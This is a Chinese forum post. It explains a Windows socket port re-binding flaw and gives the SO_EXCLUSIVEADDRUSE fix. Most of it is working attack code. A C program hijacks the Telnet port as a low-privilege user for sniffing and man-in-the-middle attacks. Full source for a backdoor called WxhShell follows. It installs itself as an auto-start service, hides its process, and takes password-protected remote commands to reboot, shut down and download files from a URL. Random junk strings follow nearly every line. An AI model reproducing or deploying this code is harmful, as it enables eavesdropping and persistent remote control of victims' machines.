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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rL3 f%L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7]pi.1i  
>oasA2S  
  saddr.sin_family = AF_INET; D%,AdR"m  
fKQq]&~ H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3{FUFx  
mZ! 1Vh  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); KL^hYjC  
q-5U,!!W/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ])D39  
|x$2- RUP  
  这意味着什么?意味着可以进行如下的攻击: Qk#`e  
 Y!*F-v@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Fo$'*(i  
'@3Kq\/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2nkUvb%=  
k*$[V17  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^R;rrn{^  
xp;CYr"1}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  uYy&<_r  
n04lTME  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A.>L>uR  
z]33_[G1U  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 P(Wr[lH\y  
x2@W,?oPm  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 QsC6\Gt#  
 _7P#?:h  
  #include rFl6xM;F  
  #include n[tES6u  
  #include H;k-@J  
  #include    9S! 2r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5 4vDP9  
  int main() x-Ug(/!^  
  { Kjfpq!NYE  
  WORD wVersionRequested; iW$f1=i  
  DWORD ret;  PH6NU&H  
  WSADATA wsaData; au~}s |#  
  BOOL val; ~uRL+<.c  
  SOCKADDR_IN saddr; 9f7T.}HM  
  SOCKADDR_IN scaddr; \$[; d:9j  
  int err; ]aqg{XdGt  
  SOCKET s; pj/w9j G6  
  SOCKET sc; ML-?#jNa<  
  int caddsize; SU80i`  
  HANDLE mt; dWDM{t\}\  
  DWORD tid;   j c-$l  
  wVersionRequested = MAKEWORD( 2, 2 ); 8AQ@?\Rc"2  
  err = WSAStartup( wVersionRequested, &wsaData ); vAH`tPi>  
  if ( err != 0 ) { KDEcR  
  printf("error!WSAStartup failed!\n"); =*Ru 2  
  return -1; H%^j yGS  
  } c$AwJhl^]  
  saddr.sin_family = AF_INET; Jh!'"7  
   pon0!\ZT=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wr{ [4$O  
K! e51P  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ubf@"B  
  saddr.sin_port = htons(23); '3eL^Aq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z&[_8Y5j  
  { ;f l3'.S[  
  printf("error!socket failed!\n"); 2uy<wJE >  
  return -1; ocDAg<wo  
  } ]46#u=y~3  
  val = TRUE; k< i#agq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 LktH*ePO  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ccm(r~lhJ  
  { s?pd&_kOv3  
  printf("error!setsockopt failed!\n"); KV {J>J1  
  return -1; l0GsY.~,  
  } :$5$H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1$1[6 \3v  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 22_%u=p-|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hUO&rov3@  
+:jx{*}jo  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3Lw&HtH  
  { GT3 ?)g{Z  
  ret=GetLastError(); -lDAxp6p  
  printf("error!bind failed!\n"); uqFYa bU  
  return -1; bz4TbGg]  
  } {j!+\neL  
  listen(s,2); qrxn%#\XP  
  while(1) /lqVMlz\77  
  { n,vs(ZL:  
  caddsize = sizeof(scaddr); ?X5Y8n]y\h  
  //接受连接请求 }=T=Z#OgH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `iT{H]po  
  if(sc!=INVALID_SOCKET) v[J"/:]  
  { nlsif  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~]LkQQ'  
  if(mt==NULL) 8\])p sb9  
  { &8R !`uh1  
  printf("Thread Creat Failed!\n"); :,[=g$CT:  
  break; d]!`II  
  } 5?M d  
  } ^p}|""\j  
  CloseHandle(mt); SoPiEq  
  } N:nhS3N<L  
  closesocket(s); $7 FT0?kG  
  WSACleanup(); G>>TB{}  
  return 0; &w7Ev21  
  }   *Tyr  
  DWORD WINAPI ClientThread(LPVOID lpParam)  66 @#V  
  { I`-N]sf^  
  SOCKET ss = (SOCKET)lpParam;  @& fAR2  
  SOCKET sc; ?Q#yf8  
  unsigned char buf[4096];  roNRbA]  
  SOCKADDR_IN saddr; j,@@[{tu  
  long num; LUN"p#1  
  DWORD val; -Mx\W|YK  
  DWORD ret; wu53e= /  
  //如果是隐藏端口应用的话,可以在此处加一些判断 YOE!+MiO  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   GX-V|hLaGX  
  saddr.sin_family = AF_INET; <)am]+Lswy  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L$rMfe S  
  saddr.sin_port = htons(23); W _JGJV.^f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E=eK(t(8  
  { noL&>G  
  printf("error!socket failed!\n"); pN?geF~t|  
  return -1; }XcYIo#+t  
  } T_3JAH e  
  val = 100; XMpa87\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) & c V$`L  
  { yMVlTO  
  ret = GetLastError(); #|R#/Yc@Bv  
  return -1; kACgP!~/1  
  } sjIUW$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .,+TpP kc  
  { %!X9>i>  
  ret = GetLastError(); [3|&!:4g6  
  return -1; rO3.%B}  
  } -{O>'9'1A  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) JVxGS{Z  
  { lo< t5~GQ  
  printf("error!socket connect failed!\n"); }fT5(+ Wo  
  closesocket(sc); :plN<8  
  closesocket(ss); 4Fs5@@>X  
  return -1; RM|2PG1m  
  } l>){cI/D#  
  while(1) '^10sf`"  
  { YDxEWK<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1r?hRJ:'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0+dc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J<;@RK,c_  
  num = recv(ss,buf,4096,0); d":GsI?3  
  if(num>0) U_[<,JE  
  send(sc,buf,num,0); 1=U NA :t<  
  else if(num==0) 68 \73L=  
  break; hI>vz"J  
  num = recv(sc,buf,4096,0); DElrY)3O.  
  if(num>0) Q /zlU@  
  send(ss,buf,num,0); cN 3 !wE  
  else if(num==0) CyXFuk!R  
  break; 'nRoa7v(  
  } 0* ^>/*  
  closesocket(ss); EJ@&vuDd$  
  closesocket(sc); J1UG},-h  
  return 0 ; 50jZu'z:  
  } )Gm,%[?2C  
$~c wB  
 Qo$j'|lD  
========================================================== dn1Fwy.  
?%A9}"q]  
下边附上一个代码,,WXhSHELL ;Y9-0W  
?[VL 2dP0  
========================================================== #UesXv  
&m=73 RN  
#include "stdafx.h" j[Q9_0R~lR  
`~k`m{4.a  
#include <stdio.h> 6Q*Zy[=  
#include <string.h> *YO^+]nmY  
#include <windows.h> sD ,=_q@  
#include <winsock2.h> -\[H>)z]RB  
#include <winsvc.h> QCAoL.v  
#include <urlmon.h> N> jQe  
C116 c"  
#pragma comment (lib, "Ws2_32.lib") j@u]( nf  
#pragma comment (lib, "urlmon.lib") vN9R. R  
cMK}BHOC  
#define MAX_USER   100 // 最大客户端连接数 U-U"RC>  
#define BUF_SOCK   200 // sock buffer /P%OXn$i/  
#define KEY_BUFF   255 // 输入 buffer 5_7y1  
WRov7  
#define REBOOT     0   // 重启 [jEZ5]%  
#define SHUTDOWN   1   // 关机 iu.v8I ;<  
B? Z_~Bf&  
#define DEF_PORT   5000 // 监听端口 9T#${NK  
%EH{p@nM&-  
#define REG_LEN     16   // 注册表键长度 ~YRG9TK  
#define SVC_LEN     80   // NT服务名长度 oH='\M%+  
zQ~ax!}R  
// 从dll定义API Ms 3Sri  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u*=8s5Q[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !rsGCw!Pg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?>s[B7wMp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SceK$  
b[KZJLZ)  
// wxhshell配置信息 ,n3e8qd  
struct WSCFG { _J"fgxW  
  int ws_port;         // 监听端口 aY-7K._</  
  char ws_passstr[REG_LEN]; // 口令 BIh^b?:zU  
  int ws_autoins;       // 安装标记, 1=yes 0=no vzFo"  
  char ws_regname[REG_LEN]; // 注册表键名 5=_bK^Am  
  char ws_svcname[REG_LEN]; // 服务名 i_e%HG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ef$a&*)PH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 < Dt/JA(p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;-AC}jG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9? y&/D5O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cq0-D d9^&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ryNe=9p  
5=&ME(fmV  
}; c!ieN9^+  
|Kb m74Z%  
// default Wxhshell configuration FBxg^g%PB@  
struct WSCFG wscfg={DEF_PORT, MfZamu5+F  
    "xuhuanlingzhe", bae;2| w  
    1, Y'<wE2ZL)  
    "Wxhshell", 3Fw7q"  
    "Wxhshell", :cvT/xhO  
            "WxhShell Service", G=/^]E  
    "Wrsky Windows CmdShell Service", #y-R*4G  
    "Please Input Your Password: ", Du #>y!  
  1, Cto>~pV  
  "http://www.wrsky.com/wxhshell.exe", GTM@9^  
  "Wxhshell.exe" " GY3sam  
    }; !bs5w_@  
mw&'@M_(7  
// 消息定义模块 {T-=&%||  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x[=,$;o+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3Cgv($xl&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "5204I  
char *msg_ws_ext="\n\rExit."; -tIye{  
char *msg_ws_end="\n\rQuit."; IIN,Da;hD  
char *msg_ws_boot="\n\rReboot...";  SQ&}18Z~  
char *msg_ws_poff="\n\rShutdown..."; )#8}xAjV  
char *msg_ws_down="\n\rSave to "; [y~kF?a  
d uP0US  
char *msg_ws_err="\n\rErr!"; NvC @  
char *msg_ws_ok="\n\rOK!"; $zM \Jd  
(&SPMhs_|(  
char ExeFile[MAX_PATH]; RzU9]e  
int nUser = 0; : { iK 5  
HANDLE handles[MAX_USER]; zZ,"HY=jN  
int OsIsNt; ++n_$Qug  
xR8y"CpE  
SERVICE_STATUS       serviceStatus; ~ mzX1[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 10Q!-K),p  
uFA}w:Fm  
// 函数声明 >0_{80bdO  
int Install(void); z\"9T?zoo  
int Uninstall(void); Q zg?#|  
int DownloadFile(char *sURL, SOCKET wsh); Hy5 6@jW+E  
int Boot(int flag); 6LrI,d  
void HideProc(void); _Wq;bKG  
int GetOsVer(void); 31\mF\{V  
int Wxhshell(SOCKET wsl); Z;S)GUG^  
void TalkWithClient(void *cs); "~S2XcR[ E  
int CmdShell(SOCKET sock); 0{ _6le]  
int StartFromService(void); 'P*OzZ4>$  
int StartWxhshell(LPSTR lpCmdLine); A'$>~Ev  
4 |bu= T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y9I|s{~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h^v#?3.@  
Ii# +JY0k  
// 数据结构和表定义 l$[,V:N  
SERVICE_TABLE_ENTRY DispatchTable[] = m&yHtnt  
{ F"cZ$TL]  
{wscfg.ws_svcname, NTServiceMain}, 3xN_z?Rg  
{NULL, NULL} !1%Sf.`!_  
}; I5)$M{#a  
B" _Xst  
// 自我安装 '14 86q@[$  
int Install(void) v,Zoy|Lu  
{ [kTckZv  
  char svExeFile[MAX_PATH]; nch#DE8 2  
  HKEY key; f:t j   
  strcpy(svExeFile,ExeFile); 6q8PLyIp  
r9*6=*J|  
// 如果是win9x系统,修改注册表设为自启动 65nK1W`i  
if(!OsIsNt) { g6+5uvpd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F("|SOhc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AQ0zsy  
  RegCloseKey(key); =J"c'Z>.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -p%cw0*Y]C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =v0w\( ?N  
  RegCloseKey(key); _Fn`G .r<  
  return 0; tt CC] Q  
    } r&ys?@+G  
  } VoQhzp6&  
} ty:{e]e  
else { =f23lA  
JNT|h zV  
// 如果是NT以上系统,安装为系统服务 F@HJ3O9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A2p%Y},  
if (schSCManager!=0) rxs:)# ?A  
{ f3 imkZ(  
  SC_HANDLE schService = CreateService 6oFA=CjU{  
  ( oIQ$98M  
  schSCManager, R<vbhB/lU  
  wscfg.ws_svcname, GHo mk##0E  
  wscfg.ws_svcdisp, u/NcX  
  SERVICE_ALL_ACCESS, B~M6l7^?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =p7id5"  
  SERVICE_AUTO_START, 2G<XA  
  SERVICE_ERROR_NORMAL, Sn^M[}we  
  svExeFile, t BG 9Mn  
  NULL, ;JMmr-@  
  NULL, cnRgzj<ek  
  NULL, bvHQ# :}H  
  NULL, L4ct2|w}ul  
  NULL yY*(!^S  
  ); Z$r7Hi  
  if (schService!=0) ur7S K(#  
  { <:&{c-f/  
  CloseServiceHandle(schService); FUZuS!sJ  
  CloseServiceHandle(schSCManager); 7z&$\qu2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mi7~(V>  
  strcat(svExeFile,wscfg.ws_svcname); KfYT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vT @25  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W`P>vK@=  
  RegCloseKey(key); :."6g)T  
  return 0; I[?bM-  
    } mxu!$wx  
  } uHRxV"@}[1  
  CloseServiceHandle(schSCManager); "c?31$6  
} xn@oNKD0  
} g>#}(u!PH  
| +uc;[`  
return 1; th<>%e}5c  
} HV7f%U  
T\ukJ25!  
// 自我卸载 +JM@kdE5b  
int Uninstall(void) Rlm28  
{ HuK Ob4g  
  HKEY key; g$vOWSI +  
|/$954Hr#<  
if(!OsIsNt) { RTDplv; ]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A0,e3gb  
  RegDeleteValue(key,wscfg.ws_regname); _ b</ ::Tp  
  RegCloseKey(key); XX "3.zW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Sqyju3Yp  
  RegDeleteValue(key,wscfg.ws_regname); Eau V  
  RegCloseKey(key); +?[s"(  
  return 0; xP;>p| M  
  } C N}0( 2n  
} ?A24h !7  
} F\ GNLi  
else { -N6ek`  
:XoR~syT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IS`ADDU[S  
if (schSCManager!=0) baL<|& c  
{ =P_ *.SgR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Sfp-ns32%A  
  if (schService!=0) om=kA"&&Q  
  { _^ic@h3'X~  
  if(DeleteService(schService)!=0) { 4Ssy (gt  
  CloseServiceHandle(schService); Fey^hx w =  
  CloseServiceHandle(schSCManager); YfMs~}h,  
  return 0; ue4 {h  
  } #?eMEws  
  CloseServiceHandle(schService); dWe%6s;   
  } g!r) yzK  
  CloseServiceHandle(schSCManager); PnB2a'(^@?  
} <OJqeUo+*\  
} _34%St!lg  
skTtGz8R[  
return 1; .2_xTt   
} m(EV C}Y  
:S7[<SwL  
// 从指定url下载文件 57]La^#  
int DownloadFile(char *sURL, SOCKET wsh) X?JtEQ~>  
{ p,uM)LD  
  HRESULT hr; lz1cLl m  
char seps[]= "/";  -)KNsW  
char *token; opu)9]`z  
char *file; rOj(THoc{  
char myURL[MAX_PATH]; s8qpK; O  
char myFILE[MAX_PATH]; w>}n1Nc$G  
)]<^*b>  
strcpy(myURL,sURL); hJw]hVYa  
  token=strtok(myURL,seps); {yEL$8MC  
  while(token!=NULL) q |FOU  
  { ;obOr~Jx'5  
    file=token; Vo+.s#wN`h  
  token=strtok(NULL,seps); j7QK8O$XL  
  } u|T]Ne  
wu><a!3`=o  
GetCurrentDirectory(MAX_PATH,myFILE); ^)I}#  
strcat(myFILE, "\\"); D[?;+g/  
strcat(myFILE, file); W$2 \GPJt  
  send(wsh,myFILE,strlen(myFILE),0); v|\#wrCT?  
send(wsh,"...",3,0); ^1vKhO+p$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [z ]P5  
  if(hr==S_OK) Dr(2@ 0P  
return 0; +RJKJ:W  
else #z _<{' P"  
return 1; JN4gH4ez)  
9(O eH7  
} 4hLk+z<n  
a/J Mg   
// 系统电源模块 KvEv0L<ky  
int Boot(int flag) </D.}ia  
{ 2O*At%CzW  
  HANDLE hToken; Q{?\qCrrYl  
  TOKEN_PRIVILEGES tkp; LU+SuVm  
jf`w8*R  
  if(OsIsNt) { rks"y&&Nc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r5ldK?=k+*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t-o,iaPG3  
    tkp.PrivilegeCount = 1; LAo$AiTUR{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M2p|&Z%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <5}I6R;  
if(flag==REBOOT) { Hg<aU*o;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7M7Lj0Y)L  
  return 0; K-)!d$$   
} \8!CKnfs  
else { T#i;=NP"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JVkuSIR>  
  return 0; +6$+] u]  
} G4*&9Wo  
  } f S/:OnH  
  else { (lS[a  
if(flag==REBOOT) { % &&)[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %J9u?-~  
  return 0; 0)g]pG8&ro  
} Anu:  
else { Khi;2{`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F~fBr  
  return 0; dm[cl~[ Q  
} 8y<.yfgG  
} *EvW: <  
.Z'NH wCy  
return 1; VgIk'.  
} 97\K] Tr  
{*F =&D  
// win9x进程隐藏模块 aVK,( j9u  
void HideProc(void) RV_I&HD!  
{  iY$iL<  
*cCx]C.~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MnqT?Cc4$j  
  if ( hKernel != NULL ) B!,&{[D  
  { >AX_"Q~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hBnUpYec  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;YY<KuT  
    FreeLibrary(hKernel); Q"~%T@e  
  } CN ( :  
)Cj1VjAg  
return; Vn kh Y  
} }(!Uq  
B-w`mcqp$  
// 获取操作系统版本 q MrM^ ~  
int GetOsVer(void) v JGH8$%;,  
{ D C/X|f  
  OSVERSIONINFO winfo; !KOa'Ic$V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IMbF]6%p(  
  GetVersionEx(&winfo); " Zhh>cz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \3^V-/SJf  
  return 1; ~Yg) 8  
  else KCbJ^Rln  
  return 0; Q &{C%j~N  
} { "Cu)AFy  
467"pqT  
// 客户端句柄模块 *9r(lmrfj  
int Wxhshell(SOCKET wsl) h7fytO  
{  rn( drG  
  SOCKET wsh; K)    
  struct sockaddr_in client; 7L&,Na  
  DWORD myID; 6M7GPHah  
?+7~ E8  
  while(nUser<MAX_USER) H $Az,-P  
{ Cq/u$G  
  int nSize=sizeof(client); WgR%mm^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K JOb1MM  
  if(wsh==INVALID_SOCKET) return 1; 7Ko*`-p  
nTo?~=b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `3ha~+Goo!  
if(handles[nUser]==0) d2i ?FT>  
  closesocket(wsh); ]!sCWR  
else v\8v'EDP  
  nUser++; }]dzY(   
  } /KC^x= Xv:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s?m_zJh  
xg, 9~f[  
  return 0; xLFMC?I  
} FIfLDT+Wh  
c-&Q_lB  
// 关闭 socket m%})H"5  
void CloseIt(SOCKET wsh) qvo!nr7  
{ %pOxt<  
closesocket(wsh); $PRd'YdL/  
nUser--; Q~ Ad{yC  
ExitThread(0); eP:\\; ;  
} h(AL\9{=}  
ltk ARc3  
// 客户端请求句柄 H1q,w|O9j  
void TalkWithClient(void *cs) I>l^lv&[+  
{ X,G"#j^  
,.2qh|Ol  
  SOCKET wsh=(SOCKET)cs; N-2_kjb!  
  char pwd[SVC_LEN]; ji4bz#/B0  
  char cmd[KEY_BUFF]; f,6V#,  
char chr[1]; V\L%*6O  
int i,j; :%AEwRZ  
)i.pE ]!+  
  while (nUser < MAX_USER) { ucz~y! 4L{  
( 1  
if(wscfg.ws_passstr) { x%H,ta%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *v(Q-FW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bM?29cs  
  //ZeroMemory(pwd,KEY_BUFF); xH` VX-X3  
      i=0; 9^H.[t  
  while(i<SVC_LEN) { & +k*+  
>0iCQKq  
  // 设置超时 B>cT <B  
  fd_set FdRead; ;<T,W[3J  
  struct timeval TimeOut; bFL2NH5  
  FD_ZERO(&FdRead); +Tx_q1/f5X  
  FD_SET(wsh,&FdRead); P{ %Urv{U  
  TimeOut.tv_sec=8; F/LMk8RgR  
  TimeOut.tv_usec=0; -~JYfj@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nvwf!iU6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *CQZ6&^  
Ja&S_'P[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '`<Fys&:  
  pwd=chr[0]; O<|pw  
  if(chr[0]==0xd || chr[0]==0xa) { `bV&n!Y_  
  pwd=0; 8b-mW>xsA  
  break; ^[bFGKE  
  } \JR^uJ{Y  
  i++; OXKV6r6f  
    } 6;s[dw5T  
'xnI N u  
  // 如果是非法用户,关闭 socket )/Eu=+d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H n]( )/  
} 6yAZvX  
LxWd_B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [.Fq l+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R)SY#*Y  
|dqESl,2  
while(1) { BAvz @H  
dcq18~  
  ZeroMemory(cmd,KEY_BUFF); }f}?|&q  
3 4%B0  
      // 自动支持客户端 telnet标准   IqepR >5t  
  j=0; kc=Z6(=  
  while(j<KEY_BUFF) { aMHC+R1X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @K*W3&TO  
  cmd[j]=chr[0]; =)g}$r &<  
  if(chr[0]==0xa || chr[0]==0xd) { (jyufHm  
  cmd[j]=0; (=c,b9cb  
  break; /hVwrt(  
  } 1(>2tEjYT  
  j++; rMjb,2*rC7  
    } M?}:N_9<J  
mPQT%%MF  
  // 下载文件 {=Jo!t;f  
  if(strstr(cmd,"http://")) {  !=*8*?@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ew dTsgt'  
  if(DownloadFile(cmd,wsh)) OX]P;#4tU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <,/7:n  
  else &hL2xx=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8>x' . 8  
  } M&faa7  
  else { oUN\tOiS+  
ZADMtsk  
    switch(cmd[0]) { >35w"a7S  
  ~$[fG}C.K  
  // 帮助 | V{ Q  
  case '?': { C%]qK(9vvd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M1#CB  
    break; !'BXc%`x[  
  } "cBqZzkk9j  
  // 安装 sb8bCEm- \  
  case 'i': { S|LY U!IWZ  
    if(Install()) ^_P?EJ,)`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]a~sJz!  
    else fvi0gE@bd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vZ srlHb  
    break; m$v >r\*X  
    } u'_}4qhCC;  
  // 卸载 [v*q%Mi_  
  case 'r': { 5*YvgB;  
    if(Uninstall()) Xa?igbgAwx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;i?2^xe^~c  
    else 'OP0#`6`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u "k< N|.3  
    break; SN L-6]j  
    } LK}FI* A_  
  // 显示 wxhshell 所在路径 &V (6N%A^U  
  case 'p': { {!qnHv\S  
    char svExeFile[MAX_PATH]; 6G"UXNa,  
    strcpy(svExeFile,"\n\r"); il !B={  
      strcat(svExeFile,ExeFile); J+ S]Qoz  
        send(wsh,svExeFile,strlen(svExeFile),0); UdnRsp9S  
    break; Vym0|cW  
    } ~AX~z)  
  // 重启 e_KfnPY   
  case 'b': { :0 n+RL*5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j_<!y(W  
    if(Boot(REBOOT)) ]|,}hsN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C5TV}Bq\  
    else { @Bhcb.kbq  
    closesocket(wsh);  @,k5T51m  
    ExitThread(0); (Y7zaAG]  
    } {CBb^BP  
    break; sHk>ek]2I  
    } O]@#53)Tz  
  // 关机 HNBmq>XDc  
  case 'd': { Bh cp=#  
